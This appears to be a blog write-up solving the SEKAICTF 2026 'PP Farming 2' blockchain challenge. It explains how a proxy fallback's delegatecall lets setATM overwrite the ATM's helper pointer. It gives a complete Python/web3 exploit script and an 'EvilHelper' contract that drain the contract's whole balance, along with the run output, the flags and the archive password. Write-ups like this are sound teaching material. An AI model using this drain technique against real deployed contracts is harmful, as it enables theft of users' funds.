690 words
3 minutes
SEKAICTF 2026 - PP Farming 2 - Blockchain Writeup

Category: Blockchain

Flag: SEKAI{pr0xie5_4r3_h4rD_2_3t4k3}

Description: I fixed the issue. I think…

The attachment was an AES-encrypted ZIP. The note gave the password from the first challenge, so I tested it with 7z before looking at the contracts.

7z t -p'SEKAI{3Z_re3ntr4ncy_atTack5}' '/home/rei/CTF/pp-farming-2/blockchain_pp-farming-2.zip'
Testing archive: /home/rei/CTF/pp-farming-2/blockchain_pp-farming-2.zip
--
Path = /home/rei/CTF/pp-farming-2/blockchain_pp-farming-2.zip
Type = zip
Physical Size = 3890

Everything is Ok

Files: 2
Size:       3450
Compressed: 3890

The deployment script creates a PerformancePointHelper and a PerformancePointATM funded with 10 ether. The challenge is solved when the ATM balance is zero.

PerformancePointHelper helper = new PerformancePointHelper();
PerformancePointATM atm = new PerformancePointATM{value: 10 ether}(address(helper));

The ATM stores the helper address in slot 1, because scores is the mapping at slot 0 and performancePointHelper is the next state variable.

mapping(address => uint256) public scores;
address public performancePointHelper;
bool public locked;

The obvious reentrancy path was blocked with a locked modifier, and direct fallback calls to processWithdrawal(address,uint256) were rejected. But the fallback still delegatecalled any other selector into the helper.

fallback() external payable {
    address _impl = performancePointHelper;

    bytes4 selector = msg.sig;

    // Block withdrawing without proxy
    bytes4 initSelector = bytes4(keccak256("processWithdrawal(address,uint256)"));
    require(selector != initSelector, "processWithdrawal blocked");

    assembly {
        let ptr := mload(0x40) // Get free memory pointer
        calldatacopy(ptr, 0, calldatasize()) // Copy calldata to memory

        let success := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0) // Delegatecall
        returndatacopy(ptr, 0, returndatasize()) // Copy return data

        if iszero(success) {
            revert(ptr, returndatasize()) // Revert if delegatecall failed
        }
        return(ptr, returndatasize()) // Return data if successful
    }
}

That made PerformancePointHelper.setATM(address) dangerous. A normal call to setATM changes atm in the helper, but a delegatecall through the ATM writes to the ATM’s slot 1 instead. Slot 1 is performancePointHelper, so calling setATM(evil) through fallback replaces the helper implementation.

function setATM(address _atm) public {
    atm = _atm;
}

The replacement helper kept the same first three storage variables so the layout matched the original helper, and its processWithdrawal sent address(this).balance. Under delegatecall, address(this) is the ATM, so a single withdrawal drains the whole contract instead of the caller’s score.

import os
from solcx import compile_source, set_solc_version, install_solc
from web3 import Web3


ATM_ABI = [
    {"inputs": [], "name": "withdrawPP", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
    {"inputs": [{"internalType": "address", "name": "_to", "type": "address"}], "name": "donatePP", "outputs": [], "stateMutability": "payable", "type": "function"},
    {"inputs": [], "name": "isSolved", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "view", "type": "function"},
    {"inputs": [], "name": "performancePointHelper", "outputs": [{"internalType": "address", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"},
]

EVIL_SOURCE = r'''
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract EvilHelper {
    uint256 id_number;
    address public atm;
    bool public helping;

    function processWithdrawal(address payable recipient, uint256) external returns (bool) {
        (bool success, ) = recipient.call{value: address(this).balance}("");
        return success;
    }
}
'''


def require_env(name: str) -> str:
    value = os.environ.get(name)
    if not value:
        raise SystemExit(f"Missing required env var: {name}")
    return value


def send(w3, account, tx):
    tx.setdefault("from", account.address)
    tx.setdefault("nonce", w3.eth.get_transaction_count(account.address))
    tx.setdefault("chainId", w3.eth.chain_id)
    if "maxFeePerGas" not in tx and "maxPriorityFeePerGas" not in tx:
        try:
            tx.setdefault("gasPrice", w3.eth.gas_price)
        except Exception:
            pass
    if "gas" not in tx:
        tx["gas"] = int(w3.eth.estimate_gas(tx) * 1.3)
    signed = account.sign_transaction(tx)
    tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
    receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
    if receipt.status != 1:
        raise RuntimeError(f"Transaction failed: {tx_hash.hex()}")
    return receipt


def main():
    rpc_url = require_env("RPC_URL")
    private_key = require_env("PRIVATE_KEY")
    atm_address = Web3.to_checksum_address(require_env("ATM_ADDRESS"))

    w3 = Web3(Web3.HTTPProvider(rpc_url, request_kwargs={
        "timeout": 30,
        "headers": {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"},
    }))
    account = w3.eth.account.from_key(private_key)
    print("player", account.address)
    print("atm", atm_address)
    print("initial_balance", w3.eth.get_balance(atm_address))

    try:
        set_solc_version("0.8.20")
    except Exception:
        install_solc("0.8.20", show_progress=False)
        set_solc_version("0.8.20")

    compiled = compile_source(EVIL_SOURCE, output_values=["abi", "bin"])
    _, iface = next(iter(compiled.items()))
    evil_contract = w3.eth.contract(abi=iface["abi"], bytecode=iface["bin"])
    receipt = send(w3, account, evil_contract.constructor().build_transaction({"from": account.address}))
    evil = Web3.to_checksum_address(receipt.contractAddress)
    print("evil", evil)

    atm = w3.eth.contract(address=atm_address, abi=ATM_ABI)

    selector = Web3.keccak(text="setATM(address)")[:4]
    calldata = selector + bytes.fromhex(evil[2:].rjust(64, "0"))
    send(w3, account, {"to": atm_address, "data": calldata})
    print("helper_after_overwrite", atm.functions.performancePointHelper().call())

    send(w3, account, atm.functions.donatePP(account.address).build_transaction({"from": account.address, "value": 1}))
    send(w3, account, atm.functions.withdrawPP().build_transaction({"from": account.address}))

    final_balance = w3.eth.get_balance(atm_address)
    solved = atm.functions.isSolved().call()
    print("final_balance", final_balance)
    print("isSolved", solved)
    if not solved:
        raise SystemExit("Exploit transaction completed but challenge is not solved")


if __name__ == "__main__":
    main()

The remote instance used 0x20FbBFb0C06c64939560E0232BAE92931aaaC4Ff as the ATM. The exploit deployed the malicious helper at 0xfCbd6b0693907F450509128e8701f037D74a7bA8, changed the ATM helper pointer to that address, donated 1 wei, and called withdrawPP().

RPC_URL='https://eth.chals.sekai.team/wamLUbTHyhRUYRzQxJGWvbuu/main' PRIVATE_KEY='<redacted>' ATM_ADDRESS='0x20FbBFb0C06c64939560E0232BAE92931aaaC4Ff' python solve_remote.py
player 0x2eeF6349B0E355b3A2Fe55F7777720d1e4481748
atm 0x20FbBFb0C06c64939560E0232BAE92931aaaC4Ff
initial_balance 10000000000000000000
evil 0xfCbd6b0693907F450509128e8701f037D74a7bA8
helper_after_overwrite 0xfCbd6b0693907F450509128e8701f037D74a7bA8
final_balance 0
isSolved True

After isSolved returned true, pressing the challenge’s get-flag button returned SEKAI{pr0xie5_4r3_h4rD_2_3t4k3}.

SEKAICTF 2026 - PP Farming 2 - Blockchain Writeup
https://blog.rei.my.id/posts/165/sekaictf-2026-pp-farming-2-blockchain-writeup/
Author
Reidho Satria
Published at
2026-06-30
License
CC BY-NC-SA 4.0